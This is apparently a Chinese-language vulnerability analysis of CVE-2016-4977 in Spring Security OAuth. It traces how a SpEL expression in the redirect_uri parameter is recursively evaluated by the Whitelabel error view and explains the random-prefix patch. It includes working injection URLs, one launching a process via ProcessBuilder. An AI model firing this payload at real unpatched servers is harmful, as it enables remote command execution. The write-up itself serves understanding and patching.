SpringSecurity是一个流行的权限管理框架,类似Shiro,但功能更加完善。其中OAuth是一个提供安全认证支持的一个模块。用户使用Whitelabel Views处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令
前往某网站下载Demo代码:http://secalert.net/research/cve-2016-4977.zip 环境搭建不复杂,Maven+SpringBoot项目,直接启动
观察启动文件:resources/application.properties,观察到clientId是acme,密码是password
xxxxxxxxxxsecurity.oauth2.client.clientId: acmesecurity.oauth2.client.clientSecret: acmesecretsecurity.oauth2.client.authorized-grant-types: authorization_code,refresh_token,passwordsecurity.oauth2.client.scope: openidsecurity.oauth2.client.registered-redirect-uri: http://localhostsecurity.user.password: password访问url:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hello,输入任意用户名和密码password

看到不合法的redirect_uri有显示,是否hello可以换成表达式呢,访问url:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

进一步测试RCE:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}

由于程序使用WhiteLabel视图来做返回页面,所以首先分析下面这个文件:org\springframework\security\oauth2\provider\endpoint\WhitelabelErrorEndpoint.java
xxxxxxxxxxprivate static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";
("/oauth/error")public ModelAndView handleError(HttpServletRequest request) { Map<String, Object> model = new HashMap<String, Object>(); Object error = request.getAttribute("error"); // The error summary may contain malicious user input, // it needs to be escaped to prevent XSS String errorSummary; if (error instanceof OAuth2Exception) { OAuth2Exception oauthError = (OAuth2Exception) error; errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary()); } else { errorSummary = "Unknown error"; } model.put("errorSummary", errorSummary); return new ModelAndView(new SpelView(ERROR), model);}观察到显示在页面中的errorSummary是oauthError.getSummary(),这里也是程序的关键,加入断点动态调试,访问之前的url,发现表达式被带入了model,根据代码发现model在SpelView中渲染

继续跟着程序到SpelView,路径为org/springframework/security/oauth2/provider/endpoint/SpelView.java。Spel的构造方法中定义了一个helper,传入${和},定义了一个resolver,做表达式的解析
xxxxxxxxxxpublic SpelView(String template) { this.template = template; this.context.addPropertyAccessor(new MapAccessor()); this.helper = new PropertyPlaceholderHelper("${", "}"); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); Object value = expression.getValue(context); return value == null ? null : value.toString(); } };}下方的render方法主要是做页面的渲染,其中用到了helper.replacePlaceholders(template, resolver);,这里的helpers和resolver是构造方法定义的,template是最上方定义的HTML模板
xxxxxxxxxxpublic void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { Map<String, Object> map = new HashMap<String, Object>(model); String path = ServletUriComponentsBuilder.fromContextPath(request).build() .getPath(); map.put("path", (Object) path==null ? "" : path); context.setRootObject(map); String result = helper.replacePlaceholders(template, resolver); response.setContentType(getContentType()); response.getWriter().append(result);}跟入helper.replacePlaceholders,parseStringValue的代码比较复杂。实现的功能是从template中找到helper定义的前缀和后缀,然后交给resolver处理,而resolver的处理逻辑正是上文PlaceholderResolver中的表达式解析
xxxxxxxxxxpublic String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) { Assert.notNull(value, "'value' must not be null"); return parseStringValue(value, placeholderResolver, new HashSet<String>());}最关键的一步是,parseStringValue方法中存在递归,递归调用导致${xxx${payload}xxx}这样的payload可以被解析到
xxxxxxxxxxprotected String parseStringValue(String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) { ...... placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ......}逻辑上大概是这样:从template中找到${开头并且}结尾的所有部分,第一次取到errorSummary,第二次取到errorSummary里面的表达式,成功操作命令执行,动态调试如下


SpelView构造方法中,加入了一个随机生成的前缀
xxxxxxxxxxthis.template = template;this.prefix = new RandomValueStringGenerator().generate() + "{";......render方法中,随机前缀拼接到template之前,可以这样理解${errorSummary} -> random{errorSummary},由于没有递归加,所以payload没有加入random,执行前判断random,由于只有最外层符合,所以无法触发RCE
存在暴力破解的可能,因为random固定是六位。但没有价值,因为每执行一条命令都需要几万次的暴力破解请求
xxxxxxxxxxString maskedTemplate = template.replace("${", prefix);PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}");String result = helper.replacePlaceholders(maskedTemplate, resolver);result = result.replace(prefix, "${");